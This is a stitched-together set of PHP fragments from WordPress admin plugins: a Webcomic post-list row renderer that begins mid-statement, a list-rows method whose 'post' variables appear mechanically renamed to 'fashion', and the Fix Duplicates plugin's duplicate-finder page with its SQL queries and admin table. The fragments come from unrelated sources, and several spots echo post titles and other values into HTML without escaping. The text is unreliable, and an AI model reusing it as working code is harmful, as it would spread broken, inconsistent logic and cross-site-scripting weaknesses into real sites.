$files['full'][$k]['url'] . '" target="_blank">' . __('View', 'webcomic') . '</a></span>' : '<span class="view"><a href="' . $files['full'][$k]['url'] . '" target="_blank">' . __('View', 'webcomic') . '</a></span>'; $flist .= '<a href="' . admin_url('admin.php?page=webcomic_tools&subpage=edit_files&type=post&src=' . $wc->slug . '&id=' . $post->ID . '&key=' . $k) . '" title="' . __('Edit this file', 'webcomic') . '" class="row-title">' . $files['full'][$k]['filename'] . '</a><br>' . $files['full'][$k]['mime'] . '<p class="row-actions">' . $faction . '</p>'; $img .= 'application/x-shockwave-flash' == $file['mime'] ? '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="webcomic-file-' . hash('md5', $file['url']) . '" height="' . $webcomic->option('small_h') . '" width="' . $webcomic->option('small_w') . '"><param name="movie" value="' . $file['url'] . '"><!--[if !IE]>--><object type="application/x-shockwave-flash" data="' . $file['url'] . '" height="' . $webcomic->option('small_h') . '" width="' . $webcomic->option('small_w') . '"><!--<![endif]--><p>' . $file['full'][$k]['filename'] . '</p><!--[if !IE]>--></object><!--<![endif]--></object><script type="text/javascript">swfobject.registerObject("webcomic-file-' . hash('md5', $file['url']) . '","9");</script><br>' : '<img src="' . $file['url'] . '" alt="' . $files['full'][$k]['basename'] . '" ' . $file[3] . '><br>'; } } $title = 'trash' != $post->post_status && (current_user_can('edit_others_posts') || $current_user->ID == $post->post_author) ? '<a href="post.php?action=edit&post_type=webcomic_post&post=' . $post->ID . '" title="' . __('Edit this post', 'webcomic') . '" class="row-title">' . $post->post_title . '</a>' : '<span class="row-title">' . $post->post_title . '</span>'; $author = get_userdata($post->post_author); $state = $cterms = $sterms = array(); $cbox = current_user_can('edit_others_posts') || $current_user->ID == $post->post_author ? '<input type="checkbox" name="bulk[]" value="' . $post->ID . '">' : ''; if ('trash' == $post->post_status) { $paction = current_user_can('delete_others_posts') || $current_user->ID == $post->post_author ? '<span class="untrash"><a href="' . wp_nonce_url($args['view'] . '&action=undelete_webcomic_post&post=' . $post->ID, 'undelete_webcomic_post') . '">' . __('Restore', 'webcomic') . '</a></span> | <span class="delete"><a href="' . wp_nonce_url($args['view'] . '&action=delete_webcomic_post&post=' . $post->ID, 'delete_webcomic_post') . '">' . __('Delete Permanently', 'webcomic') . '</a></span>' : ''; } else { $paction = current_user_can('edit_others_posts') || $current_user->ID == $post->post_author ? '<a href="post.php?action=edit&post_type=webcomic_post&post=' . $post->ID . '">' . __('Edit', 'webcomic') . '</a> | <span class="delete"><a href="' . wp_nonce_url($args['view'] . '&action=delete_webcomic_post&post=' . $post->ID, 'delete_webcomic_post') . '">' . __('Trash', 'webcomic') . '</a></span> | <span class="view"><a href="' . get_permalink($post->ID) . '" target="_blank">' . __('View', 'webcomic') . '</a></span>' : '<span class="view"><a href="' . get_permalink($post->ID) . '">' . __('View', 'webcomic') . '</a></span>'; } if (!empty($post->post_password)) { $state[] = __('Password Protected', 'webcomic'); } elseif ('private' == $post->post_status) { $state[] = __('Private', 'webcomic'); } if ('pending' == $post->post_status) { $state[] = __('Pending', 'webcomic'); } if ('draft' == $post->post_status) { $state[] = __('Draft', 'webcomic'); } if (is_sticky($post->ID)) { $state[] = __('Sticky', 'webcomic'); } $state = !empty($state) ? ' - <strong>' . implode(', ', $state) . '</strong>' : ''; $storylines = wp_get_object_terms($post->ID, 'webcomic_storyline'); if (!empty($storylines) && !is_wp_error($storylines)) { foreach ($storylines as $storyline) { $sterms[] = '<a href="' . $args['view'] . '&webcomic_storyline=' . $storyline->term_id . '">' . $storyline->name . '</a>'; } } else { $sterms = array(__('No Storylines', 'webcomic')); } $characters = wp_get_object_terms($post->ID, 'webcomic_character'); if (!empty($characters) && !is_wp_error($characters)) { foreach ($characters as $character) { $cterms[] = '<a href="' . $args['view'] . '&webcomic_character=' . $character->term_id . '">' . $character->name . '</a>'; } } else { $cterms = array(__('No Characters', 'webcomic')); } if ('0000-00-00 00:00:00' == $post->post_date) { $t_time = $h_time = __('Unpublished', 'webcomic'); } else { $t_time = get_the_time(__('Y/m/d g:i:s A', 'webcomic'), $post->ID); $m_time = $post->post_date; $time = get_post_time('G', true, $post); $d_time = time() - $time; if ('future' == $post->post_status) { $h_time = $d_time <= 0 ? sprintf(__('%s from now', 'webcomic'), human_time_diff($time)) : $t_time; } elseif ($d_time > 0 && $d_time < 86400) { $h_time = sprintf(__('%s ago', 'webcomic'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d', 'webcomic'), $m_time); } $missed = $h_time == $t_time ? true : false; } if ('publish' == $post->post_status) { $status = __('Published', 'webcomic'); } elseif ('future' == $post->post_status && $missed) { $status = '<strong class="attention">' . __('Missed Schedule', 'webcomic') . '</strong>'; } elseif ('future' == $post->post_status) { $status = __('Scheduled', 'webcomic'); } else { $status = __('Last Modified', 'webcomic'); } $output .= '<tr' . $alt . '> <th scope="row" class="check-column">' . $cbox . '</th> <td class="thumbnails column-thumbnails"' . $thide . '>' . $img . '</td> <td class="post column-post"' . $phide . '>' . $title . $state . '<br>' . $author->display_name . '<p class="row-actions">' . $paction . '</p></td> <td class="file column-file">' . $flist . '</td> <td class="storylines column-storylines"' . $shide . '>' . implode(', ', $sterms) . '</td> <td class="characters column-characters"' . $chide . '>' . implode(', ', $cterms) . '</td> <td class="comments column-comments"' . $mhide . '><a href="edit-comments.php?p=' . $post->ID . '" title="' . sprintf(__('%s pending', 'webcomic'), number_format(get_pending_comments_num($post->ID))) . '" class="post-com-count"><span class="comment-count">' . $post->comment_count . '</span></a></td> <td class="date column-date"' . $dhide . '><abbr title="' . $t_time . '">' . $h_time . '</abbr><br>' . $status . '</td> </tr>'; $i++; }
function _display_rows($fashions) { global $fashion, $mode; // Create array of fashion IDs. $fashion_ids = array(); foreach ($fashions as $a_fashion) { $fashion_ids[] = $a_fashion->ID; } $this->comment_pending_count = get_pending_comments_num($fashion_ids); foreach ($fashions as $fashion) { $this->single_row($fashion); } }
function cwp_post_rows($posts = array(), $page) { global $post, $mode; add_filter('the_title', 'esc_html'); // Create array of post IDs. $post_ids = array(); foreach ($posts as $a_post) { $post_ids[] = $a_post->ID; } $comment_pending_count = get_pending_comments_num($post_ids); if (empty($comment_pending_count)) { $comment_pending_count = array(); } foreach ($posts as $post) { if (empty($comment_pending_count[$post->ID])) { $comment_pending_count[$post->ID] = 0; } cwp_post_row($post, $comment_pending_count[$post->ID], $mode, $page); } }
function fix_duplicates_admin_main() { // check the nonce if we've got any URL parameters set (apart from page which is always set) if (count($_GET) > 1 && !check_admin_referer('fix_duplicates_main_form_nonce')) { wp_die('Sorry, you cannot access this page directly'); } // if we have any POST items, call the functions to process it if (count($_POST) && check_admin_referer('fix_duplicates_main_form_nonce')) { fix_duplicates_process_post_actions(); } // deal with trashing individual items. if (isset($_GET['action']) && esc_html($_GET['action']) == 'duplicate_trash_individual') { fix_duplicates_process_trash_individual(absint($_GET['post']), absint($_GET['redirect'])); } // get the options $fix_duplicates_options = get_option('fix_duplicates_options'); // get the list of custom post types, excluding revisions, attachments, nav_menu_item and our redirection CPT (we use this below) $fix_duplicates_post_types = get_post_types(array('show_ui' => true), 'objects'); if (isset($fix_duplicates_post_types['fix_dups_redirects'])) { unset($fix_duplicates_post_types['fix_dups_redirects']); } // set up the database details global $wpdb; $tablename = $wpdb->prefix . 'posts'; // setup variable based on mode URL parameter if (isset($_GET['mode']) && esc_html($_GET['mode'])) { $current_mode = esc_html($_GET['mode']); } else { $current_mode = 'list'; } // setup variable and SQL string based on post type URL variable. if (isset($_GET['post_type']) && esc_html($_GET['post_type'])) { $post_type = esc_html($_GET['post_type']); $post_type_string = $wpdb->prepare("{$tablename}.post_type = %s", $post_type); } else { $post_type = 0; $post_type_string_array = array(); foreach ($fix_duplicates_post_types as $key => $value) { $post_type_string_array[] = $wpdb->prepare("{$tablename}.post_type = '%s'", $key); } $post_type_string = '(' . implode($post_type_string_array, ' OR ') . ')'; } // setup variable and SQL string based on search term URL parameter (note %% required for LIKE when wpdb->prepare is used) if (isset($_GET['s']) && esc_html($_GET['s'])) { $fix_duplicates_search_term = esc_html($_GET['s']); $fix_duplicates_search_string = $wpdb->prepare(" AND {$tablename}.post_title LIKE %s", '%' . like_escape($fix_duplicates_search_term) . '%'); } else { $fix_duplicates_search_term = ''; $fix_duplicates_search_string = ''; } // setup variable and SQL string based on show draft parameter if (isset($_GET['show_drafts']) && esc_html($_GET['show_drafts']) == 1) { $fix_duplicates_show_drafts = 1; $fix_duplicates_show_drafts_string = "( {$tablename}.post_status ='publish' OR {$tablename}.post_status ='draft' )"; } else { $fix_duplicates_show_drafts = 0; $fix_duplicates_show_drafts_string = "{$tablename}.post_status ='publish'"; } // Get the number of duplicate titles $fix_duplicates_count_query = "SELECT COUNT(post_title) FROM (\n\t\t\tSELECT post_title FROM {$tablename}\n\t\t\tWHERE {$post_type_string} {$fix_duplicates_search_string} AND {$fix_duplicates_show_drafts_string}\n\t\t\tGROUP BY post_title HAVING COUNT(*)>1\n\t\t) AS t"; $fix_duplicates_result_count = $wpdb->get_var($fix_duplicates_count_query); // deal with pagination (needs to happen after we have total results, but before we query for individual entries) if (isset($_GET['no']) && absint($_GET['no'])) { $numtoshow = absint($_GET['no']); } else { $numtoshow = 20; } // using intval instead of absint as we don't want it to be absolute (we will make negative numbers page 1) if (isset($_GET['pageno']) && intval($_GET['pageno'])) { $page = intval($_GET['pageno']); // deal with page numbers below 1 (make them page 1) if ($page < 1) { $page = 1; } elseif (($page - 1) * $numtoshow >= $fix_duplicates_result_count) { $page = ceil($fix_duplicates_result_count / $numtoshow); } // calculate offset now that the page number has been normalised $offset = ($page - 1) * $numtoshow; } else { $page = 1; $offset = 0; } $total_pages = ceil($fix_duplicates_result_count / $numtoshow); // get the duplicates from the DB $fix_duplicates_query = "SELECT t1.* FROM {$tablename} AS t1 INNER JOIN (\n\t\t\tSELECT post_title FROM {$tablename}\n\t\t\tWHERE {$post_type_string} {$fix_duplicates_search_string} AND {$fix_duplicates_show_drafts_string}\n\t\t\tGROUP BY post_title HAVING COUNT(*)>1 LIMIT {$offset}, {$numtoshow}\n\t\t) AS t2\n\t\tON t1.post_title = t2.post_title\n\t\tWHERE " . str_replace($tablename, 't1', $post_type_string) . " AND " . str_replace($tablename, 't1', $fix_duplicates_show_drafts_string) . "\n\t\tORDER BY t1.post_title, t1.post_date DESC"; $fix_duplicates_result = $wpdb->get_results($fix_duplicates_query, ARRAY_A); // get the number of individual posts that are duplicates $fix_duplicates_count_individual_query = "SELECT COUNT(*) FROM {$tablename} AS t1 INNER JOIN (\n\t\t\tSELECT post_title FROM {$tablename}\n\t\t\tWHERE {$post_type_string} {$fix_duplicates_search_string} AND {$fix_duplicates_show_drafts_string}\n\t\t\tGROUP BY post_title HAVING COUNT(*)>1\n\t\t) AS t2\n\t\tON t1.post_title = t2.post_title\n\t\tWHERE " . str_replace($tablename, 't1', $post_type_string) . " AND " . str_replace($tablename, 't1', $fix_duplicates_show_drafts_string); $fix_duplicates_result_count_individual = $wpdb->get_var($fix_duplicates_count_individual_query); // if there are no duplicates, tell them (but don't worry for search results as it will tell them there are 0 titles) if ($fix_duplicates_result_count == 0 && empty($fix_duplicates_search_term)) { echo '<div id="message" class="updated"><p><strong>GREAT NEWS: There are no duplicate posts!</strong></p></div>'; } else { if (count($fix_duplicates_result) == 0 && $fix_duplicates_result_count > 0) { echo '<div id="message" class="updated"><p><strong>ERROR: Page number out of range!</strong></p></div>'; } } // Drop to HTML to create page. /* Rolling our own table that uses core styles so it fits with the rest of Admin. Not using wp_list_table because Andrew Nacin says plugins shouldn't use it (http://wpengineer.com/2426/wp_list_table-a-step-by-step-guide/#comment-9617) In hindsight that was a mistake as this will probably face many of the same issues - if the Admin styles change I'll need to update this - but gets none of the advantages */ ?> <div class="wrap"> <h2><img style="vertical-align:middle;margin-right:12px;" src="<?php echo plugins_url('/images/fix-duplicates-icon-32.png', __FILE__); ?> " alt="Fix Duplicates icon" />Fix Duplicates - Duplicate Entries</h2> <div id="poststuff"> <div class="stuffbox"> <div class="inside"> <!-- Display information about search and or filter, with number of entries found --> <div class="fix-duplicates-results"> <?php // If it's a search or page type filter (or both), tell them what the query was and give them the option to clear ?> <?php if (!empty($fix_duplicates_search_term) || !empty($post_type)) { ?> <div class="fix-duplicates-results-search"> <span> <?php if (!empty($fix_duplicates_search_term)) { echo 'Search results for "' . $fix_duplicates_search_term . '"'; } ?> <?php if (!empty($fix_duplicates_search_term) && !empty($post_type)) { echo ' and '; } ?> <?php if (!empty($post_type)) { echo 'Post type of ' . $post_type; } ?> </span> <a class="fix-duplicates-results-clear" href="<?php echo esc_url(remove_query_arg(array('s', 'post_type', 'pageno', 'no'))); ?> ">Clear</a> </div> <?php } ?> <div class="fix-duplicates-results-count"> <?php echo $fix_duplicates_result_count; ?> duplicate titles (<?php echo $fix_duplicates_result_count_individual; ?> individual entries) </div> </div> <!-- Top navigation area --> <div class="tablenav top"> <!-- Form: Form to search and or filter the results --> <form id="fix-duplicates-main-form" action="" method="GET"> <!-- Form: Hidden fields for the form --> <?php // nonce code is before closing </form> ?> <input type="hidden" name="page" value="fix_duplicates" /> <input type="hidden" id="mode" name="mode" value="<?php echo $current_mode; ?> " /> <?php if ($numtoshow) { ?> <input type="hidden" name="no" value="<?php echo $numtoshow; ?> " /><?php } ?> <!-- Form: Search box --> <p class="search-box"> <label class="screen-reader-text" for="post-search-input">Search Duplicates:</label> <input type="search" id="post-search-input" name="s" value="<?php echo $fix_duplicates_search_term; ?> " /> <input type="submit" name="" id="search-submit" class="button" value="Search Duplicates" /> </p> <!-- Form: Post Type Filter--> <div class="fix-duplicates-post-type-filter alignleft actions"> <select name="post_type"> <option <?php if ($post_type === 0) { echo 'selected="selected" '; } ?> value="0">All post types</option> <?php // add custom post types to the options (using the array we got above) foreach ($fix_duplicates_post_types as $key => $value) { echo "\t\t\t\t" . '<option value="' . $key . '"'; if ($post_type === $key) { echo ' selected="selected"'; } echo '>' . $value->label . '</option>' . "\n"; } ?> </select> <label> <input type="checkbox" id="show_drafts" name="show_drafts" value="1" <?php if ($fix_duplicates_show_drafts) { echo 'checked="checked" class="drafts_showing" '; } ?> /> Show drafts</label> <input type="submit" name="" id="post-type-submit" class="button-secondary" value="Filter Posts" /> </div> <!-- Form: Paging controls --> <?php // mostly links except 'jump to page'; using WordPress functions to build the links ?> <div class='tablenav-pages<?php if ($total_pages <= 1) { echo ' one-page'; } ?> '> <span class="displaying-num"><?php echo $fix_duplicates_result_count; ?> </span> <span class="pagination-links"> <a class="first-page<?php if ($total_pages > 1 && $page == 1) { echo ' disabled'; } ?> " title="Go to the first page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => '1', '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">«</a> <a class="prev-page<?php if ($total_pages > 1 && $page == 1) { echo ' disabled'; } ?> " title="Go to the previous page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => $page - 1, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">‹</a> <span class="paging-input"><input class="current-page" title="Current page" type="text" name="pageno" value="<?php echo $page; ?> " size="1" /> of <span class="total-pages"><?php echo $total_pages; ?> </span></span> <input type="submit" name="" id="go-to-page" class="button-secondary hidden" value="Go to" /> <a class="next-page<?php if ($total_pages > 1 && $page == $total_pages) { echo ' disabled'; } ?> " title="Go to the next page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => $page + 1, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">›</a> <a class="last-page<?php if ($total_pages > 1 && $page == $total_pages) { echo ' disabled'; } ?> " title="Go to the last page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => $total_pages, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">»</a> </span> </div> <!-- Form: Show titles or show entries? --> <div class="view-switch"> <?php // build the mode selector, creating links and showing the correct icon, etc. JavaScript is used elsewhere to supplement switching. $modes = array('list' => __('List View'), 'expanded' => __('Expanded')); foreach ($modes as $mode => $title) { $class = $current_mode == $mode ? 'class="current"' : ''; echo "<a id='fd-view-switch-{$mode}' href='" . esc_url(add_query_arg('mode', $mode)) . "' {$class}><img id='view-switch-{$mode}' src='" . esc_url(includes_url('images/blank.gif')) . "' width='20' height='20' title='{$title}' alt='{$title}' /></a>\n"; } ?> </div> <!-- Form: nonce for security purposes --> <?php // false because wp_http_referer is added recursively, making the URL too long. I don't use it anyway. ?> <?php wp_nonce_field('fix_duplicates_main_form_nonce', '_wpnonce', false); ?> </form> <!-- Form: End form to search and or filter the results --> <!-- Form: Form for bulk actions etc --> <form id="fix-duplicates-bulk-form" class="fix-duplicates-bulk-form" action="" method="POST"> <div class="alignleft actions"> <select name='action'> <option value='-1' selected='selected'>Bulk Actions</option> <option value='trash'>Trash Selected</option> </select> <input type="submit" name="" id="doaction" class="button-secondary action" value="Apply" /> </div> <br class="clear" /> </div> <!-- End top navigation area --> <!-- Top extra buttons area --> <div class="fix-duplicates-top-buttons tablenav top"> <fieldset> <strong>Trash:</strong> <label class="fix-duplicate-lhs"><input id="duplicate_entry_delete_all" name="duplicate_entry_delete_all" type="radio" value="0" /> All </label> <label class="fix-duplicate-rhs"><input id="duplicate_entry_delete_below" name="duplicate_entry_delete_all" type="radio" value="1" checked="checked" /> All listed below </label> </fieldset> <fieldset> <strong>And Keep:</strong> <label class="fix-duplicate-lhs"><input name="duplicate_entry_keep_all" type="radio" value="0" checked="checked" /> Oldest </label> <label class="fix-duplicate-rhs"><input name="duplicate_entry_keep_all" type="radio" value="1" /> Newest</label> </fieldset> <?php $fix_duplicates_redirect_bulk_checkbox_string = ' <fieldset class="fix-duplicates-disabled" readonly="readonly" title="Pro version is required for the redirection feature" > <strong>Redirect:</strong> <label class="fix-duplicate-rhs"><input disabled="disabled" type="checkbox" id="duplicate_entry_redirect_all" name="duplicate_entry_redirect_all" value="1" /> Redirect deleted items to the kept item</label> </fieldset> '; echo apply_filters('fix_duplicates_redirect_bulk_checkbox_string', $fix_duplicates_redirect_bulk_checkbox_string); ?> <label><input type="submit" id="duplicate_entry_all_apply" name="duplicate_entry_all_apply" class="button-secondary action" value="Apply" /></label> </div> <div id="duplicate_entry_warning" class="fix-duplicates-warning"> <p>Choosing 'All' should be used with care. Note the following: <ul> <li>This will take a long time. Do not close the window until it's complete.</li> <li>The delete may time out and not complete. You may need to run it multiple times.</li> <li>This will delete the posts directly, bypassing the Trash.</li> <li>This will not redirect the deleted posts.</li> <li>This will not delete duplicates with exactly the same date and time.</li> </ul> </p> </div> <div id="duplicate_entry_redirect_warning" class="fix-duplicates-warning"> <p>Items will not be redirected if the target is not published (ie if it has a status of draft).</p> </div> <!-- End extra buttons area --> <!-- Table listing the duplicates --> <table class="wp-list-table widefat fixed posts" cellspacing="0"> <!-- Table headers --> <thead> <tr> <th scope="col" id="cb" class="manage-column column-cb check-column"><input type="checkbox" /></th> <th scope="col" id="title" class="manage-column column-title">Title</th> <th scope="col" id="post_id" class="manage-column column-post_id">ID</th> <th scope="col" id="author" class="manage-column column-author">Author</th> <th scope="col" id="categories" class="manage-column column-categories">Categories</th> <th scope="col" id="words" class="manage-column column-words">Words</th> <th scope="col" id="comments" class="manage-column column-comments num"><span class="vers"><img alt="Comments" src="<?php echo esc_url(admin_url('images/comment-grey-bubble.png')); ?> " /></span></th> <?php do_action('fix_duplicates_th'); ?> <th scope="col" id="date" class="manage-column column-date sortable asc">Last Modified</th> </tr> </thead> <?php // variable used group duplicate titles together $fix_duplicates_group_no = 1; // Start loop for each duplicate item (individual entries, we group them below by adding a control row for the first duplicate) foreach ($fix_duplicates_result as $key => $value) { // if this title doesn't match previous row's title, we're on to a new duplicate, so start a new tbody and add summary / control row if (!empty($fix_duplicates_result[$key - 1]['post_title']) && trim(strtolower($fix_duplicates_result[$key - 1]['post_title'])) != trim(strtolower($value['post_title']))) { ?> <tbody id="fix-duplicates-group-<?php echo $fix_duplicates_group_no; ?> "> <!-- Summary row showing the duplicate title rather than individual entries --> <tr id="duplicate-control-<?php echo $fix_duplicates_group_no; ?> " class="fixed-duplicates-control" valign="top"> <td scope="row" class="check-column" <?php echo apply_filters('fix_duplicates_columns_colspan', 'colspan="8"'); ?> ><strong><?php echo $value['post_title']; ?> </strong> <?php // Work out the count by looping through the results. Also store all entries for this title for deletion and for redirection $count = 0; $fix_duplicates_this_duplicate_array = array(); $fix_duplicates_this_redirect_array = array(); foreach ($fix_duplicates_result as $key2 => $value2) { if (trim(strtolower($fix_duplicates_result[$key2]['post_title'])) == trim(strtolower($value['post_title']))) { $fix_duplicates_this_duplicate_array[] = $fix_duplicates_result[$key2]['ID']; $count++; if ($value2['post_status'] == 'publish') { $fix_duplicates_this_redirect_array[] = $fix_duplicates_result[$key2]['ID']; } } } echo '<span class="fix-duplicates-post-number">(' . $count . ' posts <span class="fix-duplicates-more-less">↑</span>)</span>'; ?> <!-- Summary row actions which appear on hover --> <div class="row-actions"> <fieldset> <strong>Keep:</strong> <label class="fix-duplicate-lhs"><input id="duplicate_entry_keep_<?php echo $fix_duplicates_group_no; ?> _oldest" name="duplicate_entry_keep[<?php echo $fix_duplicates_group_no; ?> ]" type="radio" value="0" checked="checked" /> Oldest </label> <label class="fix-duplicate-rhs"><input id="duplicate_entry_keep_<?php echo $fix_duplicates_group_no; ?> _newest" name="duplicate_entry_keep[<?php echo $fix_duplicates_group_no; ?> ]" type="radio" value="1" /> Newest</label> </fieldset> <?php $fix_duplicates_redirect_control_checkbox_string = ' <fieldset class="fix-duplicates-disabled" readonly="readonly" title="Pro version is required for the redirection feature" > <strong>Redirect:</strong> <label class="fix-duplicate-rhs"><input disabled="disabled" type="checkbox" id="duplicate_entry_redirect_' . $fix_duplicates_group_no . '" name="duplicate_entry_redirect[' . $fix_duplicates_group_no . ']" value="1" /> Redirect deleted items to the kept item</label> </fieldset> '; $fix_duplicates_redirect_control_checkbox_array = apply_filters('fix_duplicates_redirect_control_checkbox_string', array('string' => $fix_duplicates_redirect_control_checkbox_string, 'group_no' => $fix_duplicates_group_no)); echo $fix_duplicates_redirect_control_checkbox_array['string']; ?> <input id="duplicate_entry_items_to_delete_<?php echo $fix_duplicates_group_no; ?> " name="duplicate_entry_items_to_delete[<?php echo $fix_duplicates_group_no; ?> ]" type="hidden" value="<?php echo implode('+', $fix_duplicates_this_duplicate_array); ?> " /> <label class="fix-duplicate-lhs"><input type="submit" id="duplicate_entry_apply_<?php echo $fix_duplicates_group_no; ?> " name="duplicate_entry_apply_<?php echo $fix_duplicates_group_no; ?> " class="button-secondary action" value="Apply" /></label> </div> </td> </tr> <!-- End summary row showing the duplicate title rather than individual entries --> <?php $fix_duplicates_group_no++; } // end of special stuff for first row / new duplicate. // Next, we list the individual duplicate title. This happens for all entries whether first row or not (we're still in the loop). ?> <!-- Individual title --> <tr id="post-<?php echo absint($value['ID']); ?> " class="duplicate-group-<?php echo $fix_duplicates_group_no - 1; ?> " valign="top"> <th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php echo absint($value['ID']); ?> " /></th> <td class="post-title page-title column-title"> <strong> <a class="row-title" href="<?php echo admin_url('post.php?post=' . absint($value['ID']) . '&action=edit'); ?> " title="Edit “<?php echo $value['post_title']; ?> ”"><?php echo $value['post_title']; ?> </a> <?php if ($value['post_status'] != 'publish') { ?> - <span class='post-state'><?php echo $value['post_status']; ?> </span> <?php } ?> </strong> <div class="row-actions"> <span class="trash"><a id="trash-<?php echo absint($value['ID']); ?> " class="submitdelete" title="Move this item to the Trash" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('action' => 'duplicate_trash_individual', 'post' => absint($value['ID']), 'redirect' => false, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">Trash</a></span> | <?php // build the string to put out for individual redirect links $fix_duplicates_redirect_individual_links_string = ''; // if this is not the newest, add the redirect to the newest post, assuming there is at least one in the array if ($fix_duplicates_this_redirect_array[0] != absint($value['ID']) && count($fix_duplicates_this_redirect_array)) { $fix_duplicates_redirect_individual_links_string .= ' <span class="trash"><span class="fix-duplicates-disabled" title="Pro version is required for the redirection feature">Redirect to ' . $fix_duplicates_this_redirect_array[0] . '</span></span> | '; } // if this is not the oldest, add the redirect to the oldest post, assuming there are more than one in the array if (end(array_values($fix_duplicates_this_redirect_array)) != absint($value['ID']) && count($fix_duplicates_this_redirect_array) > 1) { $fix_duplicates_redirect_individual_links_string .= ' <span class="trash"><span class="fix-duplicates-disabled" title="Pro version is required for the redirection feature">Redirect to ' . end(array_values($fix_duplicates_this_redirect_array)) . '</span></span> | '; } // apply filters $fix_duplicates_redirect_individual_links_array = apply_filters('fix_duplicates_redirect_individual_links_string', array('string' => $fix_duplicates_redirect_individual_links_string, 'this_id' => absint($value['ID']), 'dup_array' => $fix_duplicates_this_redirect_array)); echo $fix_duplicates_redirect_individual_links_array['string']; ?> <span class='view'><a href="<?php echo get_permalink(absint($value['ID'])); ?> " rel="permalink">View</a></span> </div> </td> <td class="post_id column-post_id"><?php echo absint($value['ID']); ?> </td> <td class="author column-author"><a href="edit.php?post_type=post&author=<?php echo $value['post_author']; ?> "><?php the_author_meta('display_name', $value['post_author']); ?> </a></td> <td class="categories column-categories"> <?php $fix_duplicates_category_array = get_the_category(absint($value['ID'])); if ($fix_duplicates_category_array) { foreach ($fix_duplicates_category_array as $fix_duplicates_cat_key => $fix_duplicates_cat) { echo '<a href="' . esc_url('edit.php?category_name=' . $fix_duplicates_cat->slug) . '">' . esc_html($fix_duplicates_cat->name) . '</a>'; if (count($fix_duplicates_category_array) > $fix_duplicates_cat_key + 1) { echo ', '; } } } ?> </td> <td class="words column-words"><?php echo str_word_count(strip_tags($value['post_content'])); ?> </td> <td class="comments column-comments"> <div class="post-com-count-wrapper"> <a href="<?php echo admin_url('edit-comments.php?p=' . absint($value['ID'])); ?> " title='<?php echo number_format_i18n(get_pending_comments_num(absint($value['ID']))); ?> pending' class='post-com-count'><span class='comment-count'><?php echo number_format_i18n(get_comments_number(absint($value['ID']))); ?> </span></a> </div> </td> <?php do_action('fix_duplicates_td'); ?> <td class="date column-date"><abbr title="<?php echo $value['post_date']; ?> "><?php echo $value['post_date']; ?> </abbr></td> </tr> <!-- End individual title --> <?php // if this title doesn't match next row's title, close the tbody if (!empty($fix_duplicates_result[$key + 1]['post_title']) && trim(strtolower($fix_duplicates_result[$key + 1]['post_title'])) != trim(strtolower($value['post_title']))) { ?> </tbody> <?php } } ?> </table> <!-- End table listing the duplicates --> <!-- Bottom navigation area --> <div class="tablenav bottom"> <div class="alignleft actions"> <select name='action2'> <option value='-1' selected='selected'>Bulk Actions</option> <option value='trash'>Trash Selected</option> </select> <input type="submit" name="" id="doaction2" class="button-secondary action" value="Apply" /> </div> <!-- Form: nonce for security purposes --> <?php // false because wp_http_referer is added recursively, making the URL too long. I don't use it anyway. ?> <?php wp_nonce_field('fix_duplicates_main_form_nonce', '_wpnonce', false); ?> <!-- Form: End the bulk action form --> </form> <!-- Form: Paging controls --> <?php // mostly links except 'jump to page'; using WordPress functions to build the links ?> <div class='tablenav-pages<?php if ($total_pages <= 1) { echo ' one-page'; } ?> '> <span class="displaying-num"><?php echo $fix_duplicates_result_count; ?> </span> <span class="pagination-links"> <a class="first-page<?php if ($total_pages > 1 && $page == 1) { echo ' disabled'; } ?> " title="Go to the first page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => '1', '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">«</a> <a class="prev-page<?php if ($total_pages > 1 && $page == 1) { echo ' disabled'; } ?> " title="Go to the previous page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => $page - 1, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">‹</a> <span class="paging-input"><?php echo $page; ?> of <?php echo $total_pages; ?> </span> <a class="next-page<?php if ($total_pages > 1 && $page == $total_pages) { echo ' disabled'; } ?> " title="Go to the next page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => $page + 1, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">›</a> <a class="last-page<?php if ($total_pages > 1 && $page == $total_pages) { echo ' disabled'; } ?> " title="Go to the last page" href="<?php echo esc_url(wp_nonce_url(add_query_arg(array('mode' => $current_mode, 'pageno' => $total_pages, '_wpnonce' => false)), 'fix_duplicates_main_form_nonce')); ?> ">»</a> </span> </div> <br class="clear" /> </div> <!-- End bottom navigation area --> </div> <!-- class="inside" --> </div> <!-- class="stuffbox" --> <?php fix_duplicates_admin_asides(); ?> </div> <!-- end id="poststuff" --> <?php fix_duplicates_admin_footer(); ?> </div> <!-- end class="wrap" --> <?php }
